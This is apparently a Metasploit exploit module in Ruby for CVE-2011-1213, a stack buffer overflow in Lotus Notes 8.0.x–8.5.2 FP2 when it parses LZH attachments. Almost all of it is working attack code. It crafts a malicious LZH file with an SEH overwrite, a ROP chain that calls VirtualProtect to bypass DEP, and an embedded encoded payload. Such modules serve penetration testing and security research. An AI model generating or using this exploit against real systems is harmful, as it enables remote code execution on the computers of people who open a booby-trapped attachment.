126 lines
3.9 KiB
Ruby
126 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh Attachment)',
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'Description' => %q{
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This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when
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parsing a malformed, specially crafted LZH file. This vulnerability was
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discovered binaryhouse.net
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'binaryhouse.net', # original discovery
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'alino <26alino[at]gmail.com>', # Metasploit module
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],
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'References' =>
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[
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['CVE', '2011-1213'],
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['OSVDB', '72706'],
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['BID', '48018'],
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['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=904'],
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['URL', 'http://www.ibm.com/support/docview.wss?uid=swg21500034'],
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],
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'Stance' => Msf::Exploit::Stance::Passive,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Platform' => ['win'],
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'Targets' =>
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[
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[ 'Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal',
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{
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'Offset' => 6741,
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'Ret' => 0x780c26b2 # POP ECX; POP ECX; RETN MSVCP60.dll
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}
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],
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[ 'Lotus Notes 8.5.2 FP2 / Windows Universal / DEP',
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{
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'Offset' => 6745,
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'Ret' => 0x60dc1043 # ADD ESP,52C; XOR EAX,EAX; POP EDI; POP ESI; POP EBX; POP EBP; RETN 4 nnotes.dll
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}
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],
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],
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'DisclosureDate' => 'May 24 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.lzh']),
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], self.class)
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end
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def exploit
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header = "\x08" # Size of archived file header <-- 8 - 13 = FFFFFFF6
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header << "\x1a" # 1 byte Header checksum
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header << "-lh0-" # Method ID (No compression)
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header << "\x7c\x1a\x00\x00" # Compressed file size
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header << "\x7c\x1a\x00\x00" # Uncompressed file size
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header << "\xB2\x5e\xab\x3c" # Original file date/time
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header << "\x20" # File attribute
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header << "\x00" # Level identifier
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header << "\x07" # File name length
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header << "poc.txt" # File name
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header << "\x25\x7d" # 16 bit CRC of the uncompressed file
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lzh = header
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lzh << rand_text(target['Offset'])
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if (target == targets[0])
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lzh << generate_seh_record(target.ret)
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lzh << make_nops(8)
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lzh << payload.encoded
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elsif (target == targets[1])
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rop_nop = [0x7c3c5958].pack('V') * 47 # RETN MSVCP71.dll
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rop_gadgets =
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[
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0x60524404, # POP EAX; RETN nnotes.dll
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0x7c37a140, # VirtualProtect()
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0x7c3a4000, # MOV EAX,DWORD PTR DS:[EAX]; RETN MSVCP71.dll
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0x603c53c1, # MOV ESI,EAX; RETN nnotes.dll
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0x60620001, # POP EBP; RETN nnotes.dll
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0x7c3c5946, # PUSH ESP; RETN MSVCP71.dll
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0x7c34280f, # POP EBX; RETN MSVCR71.dll
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0x00001954, # dwSize
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0x780ea001, # POP ECX; RETN MSVCP60.dll
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0x7c38b000, # lpflOldProtect
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0x60e73200, # POP EDI; RETN nnotes.dll
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0x60e73201, # RETN nnotes.dll
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0x601d5f02, # POP EDX; RETN nnotes.dll
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0x00000040, # flNewProtect
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0x60524404, # POP EAX; RETN nnotes.dll
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0x90909090, # NOP
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0x60820801, # PUSHAD; RETN nnotes.dll
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].pack("V*")
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lzh << [target.ret].pack('V')
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lzh[32, rop_nop.length] = rop_nop
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lzh[220, rop_gadgets.length] = rop_gadgets
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lzh[289, payload.encoded.length] = payload.encoded
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end
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(lzh)
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end
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end
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